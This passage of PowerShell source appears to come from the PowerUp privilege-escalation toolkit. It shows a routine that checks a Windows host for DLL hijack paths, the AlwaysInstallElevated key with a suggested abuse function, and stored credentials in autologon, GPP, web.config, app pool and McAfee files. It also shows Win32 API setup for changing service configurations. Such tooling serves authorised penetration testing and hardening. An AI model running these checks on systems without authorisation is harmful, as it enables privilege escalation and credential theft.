            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Modifiable Services</H2>" | Out-File -Append $HtmlReportFile
        }
    
    
        # DLL hijacking
    
        "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..."
        $Results = Find-PathDLLHijack
        $Results = $Results | Where-Object {$_} | Select-Object ModifiablePath, "%PATH%", Permissions, IdentityReference
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>%PATH% .dll Hijacks</H2>" | Out-File -Append $HtmlReportFile
        }
    
    
        # registry checks
    
        "`n`n[*] Checking for AlwaysInstallElevated registry key..."
        if (Get-RegistryAlwaysInstallElevated) {
            $Out = New-Object PSObject
            $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI"
            $Results = $Out
    
            $Results | Format-List
            if($HTMLReport) {
                $Results | ConvertTo-HTML -Fragment -Pre "<H2>AlwaysInstallElevated</H2>" | Out-File -Append $HtmlReportFile
            }
        }
    
        "`n`n[*] Checking for Autologon credentials in registry..."
        $Results = Get-RegistryAutoLogon
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Registry Autologons</H2>" | Out-File -Append $HtmlReportFile
        }
    
    
        "`n`n[*] Checking for modifiable registry autoruns and configs..."
        $Results = Get-ModifiableRegistryAutoRun
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Registry Autoruns</H2>" | Out-File -Append $HtmlReportFile
        }
    
        # other checks
    
        "`n`n[*] Checking for modifiable schtask files/configs..."
        $Results = Get-ModifiableScheduledTaskFile
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Modifiable Schtask Files</H2>" | Out-File -Append $HtmlReportFile
        }
    
        "`n`n[*] Checking for unattended install files..."
        $Results = Get-UnattendedInstallFile
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Unattended Install Files</H2>" | Out-File -Append $HtmlReportFile
        }
    
        "`n`n[*] Checking for encrypted web.config strings..."
        $Results = Get-Webconfig | Where-Object {$_}
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Encrypted 'web.config' String</H2>" | Out-File -Append $HtmlReportFile
        }
    
        "`n`n[*] Checking for encrypted application pool and virtual directory passwords..."
        $Results = Get-ApplicationHost | Where-Object {$_}
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Encrypted Application Pool Passwords</H2>" | Out-File -Append $HtmlReportFile
        }
    
        "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...."
        $Results = Get-SiteListPassword | Where-Object {$_}
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>McAfee's SiteList.xml's</H2>" | Out-File -Append $HtmlReportFile
        }
        "`n"
    
        "`n`n[*] Checking for cached Group Policy Preferences .xml files...."
        $Results = Get-CachedGPPPassword | Where-Object {$_}
        $Results | Format-List
        if($HTMLReport) {
            $Results | ConvertTo-HTML -Fragment -Pre "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
        }
        "`n"
    
        if($HTMLReport) {
            "[*] Report written to '$HtmlReportFile' `n"
        }
    }
    
    
    # PSReflect signature specifications
    $Module = New-InMemoryModule -ModuleName PowerUpModule
    
    $FunctionDefinitions = @(
        (func kernel32 GetCurrentProcess ([IntPtr]) @())
        (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError)
        (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
        (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
        (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError),
        (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode),
        (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError)
    )
    
    # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
    $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{
        QueryConfig =           '0x00000001'
        ChangeConfig =          '0x00000002'
        QueryStatus =           '0x00000004'
        EnumerateDependents =   '0x00000008'
        Start =                 '0x00000010'
        Stop =                  '0x00000020'
        PauseContinue =         '0x00000040'
        Interrogate =           '0x00000080'
        UserDefinedControl =    '0x00000100'
        Delete =                '0x00010000'
        ReadControl =           '0x00020000'
        WriteDac =              '0x00040000'
        WriteOwner =            '0x00080000'
        Synchronize =           '0x00100000'
        AccessSystemSecurity =  '0x01000000'
        GenericAll =            '0x10000000'
        GenericExecute =        '0x20000000'
        GenericWrite =          '0x40000000'
        GenericRead =           '0x80000000'
        AllAccess =             '0x000F01FF'
    } -Bitfield
    
    $SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{
        SE_GROUP_ENABLED =              '0x00000004'
        SE_GROUP_ENABLED_BY_DEFAULT =   '0x00000002'
        SE_GROUP_INTEGRITY =            '0x00000020'
        SE_GROUP_INTEGRITY_ENABLED =    '0xC0000000'
        SE_GROUP_MANDATORY =            '0x00000001'
        SE_GROUP_OWNER =                '0x00000008'
        SE_GROUP_RESOURCE =             '0x20000000'
        SE_GROUP_USE_FOR_DENY_ONLY =    '0x00000010'
    } -Bitfield
    
    $SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{
        Sid         =   field 0 IntPtr
        Attributes  =   field 1 UInt32
    }
    
    $TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{
        GroupCount  = field 0 UInt32
        Groups      = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32)
    }
    
    $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods'
    $Advapi32 = $Types['advapi32']
    $Kernel32 = $Types['kernel32']